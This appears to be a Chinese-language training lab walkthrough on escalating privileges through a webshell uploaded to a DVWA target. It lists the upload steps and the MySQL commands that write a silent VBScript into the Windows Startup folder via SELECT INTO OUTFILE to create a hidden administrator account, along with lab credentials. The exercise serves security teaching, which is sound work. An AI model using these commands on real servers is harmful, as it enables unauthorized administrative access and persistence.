基於Mysql的webshell提權
【實驗目的】
通過本實驗理解webshell的使用方法,掌握如何通過webshell執行sql命令進行提權,熟悉基本的webshell提權思路。
【實驗環境】
攻擊機:Win2008-att 用戶名college,密碼360College 使用的webshell文件:dama.php 目標靶機:Win2003-DVWA 用戶名college,密碼360College
【實驗步驟】
1.在靶機Win2003-DVWA上,啟動phpstudy,開啟漏洞環境。
2.在攻擊機上,啟動Firefox瀏覽器,登錄靶機上的DVWA網站。
網站的URL為:http://【靶機IP地址】/dvwa
登錄用戶名為admin,密碼為password
3.成功登錄DVWA網站后,選擇網站左側菜單“DVWA Security”,將DVWA網站安全等級設置為“Low”。
4.選擇網站左側菜單“File Upload”,將攻擊機Win2008-att桌面文件夾Tools中的dama.php(實驗中所用的webshell)上傳至靶機。
5.dama.php上傳成功后,在攻擊機瀏覽的地址欄中輸入如下URL連接dama.php:
http://【靶機IP地址】/dvwa/hackable/uploads/dama.php
出現登錄提示框時,輸入密碼hucyuansheng登錄。
6.成功登錄dama.php后,選擇左側菜單“提權工具”->“MySQL操作”,輸入MySQL數據庫的登錄密碼root,以root用戶權限登錄。
7.選擇數據庫test,並執行如下操作:
(1)利用如下命令在test下創建一個新的表a:
create table a(cmd text);
該數據表表名為a,表中只存放一個字段,字段名為cmd,為text文本。
(2)利用如下命令在表a中插入內容:
insert into a values("set wshshell=createobject (""wscript.shell"")");
insert into a values("a=wshshell.run(""cmd.exe /c net user 1 1 /add"",0)");
insert into a values("b=wshshell.run(""cmd.exe /c net localgroup administrators 1 /add"",0)");
注意雙引號和括號以及后面的"0"一定要輸入!將用這三條命令來建立一個vbs腳本程序!后面的"0"表示不彈出CMD窗口,安靜地運行。
上述三條命令執行成功后,可以看到如下圖所示的結果,表a中已保存了相應的內容。也可以通過執行如下命令查看表a中的內容:
select * from a;
(3)利用如下命令創建一個vbs腳本程序,並將其輸出至靶機操作系統的開始啟動項中:
select * from a into outfile "C:\\Documents and Settings\\All Users\\「開始」菜單\\程序\\啟動\\a.vbs";
8.在靶機上驗證攻擊效果。
(1)點擊“開始”菜單->“啟動”,會發現啟動項中有一個a.vbs的腳本程序;
(2)重啟靶機后,在cmd下輸入net user命令,會看到靶機操作系統中被添加了一個用戶“1”。
實驗至此結束。
思考與總結
通過本次實驗成功實現了基於webshell執行mysql命令來寫入一個自啟動功能的vbs腳本,掌握了基於webshell進行提權的方法,能夠結合操作系統安全策略,配置數據庫和操作系統的各項訪問權限。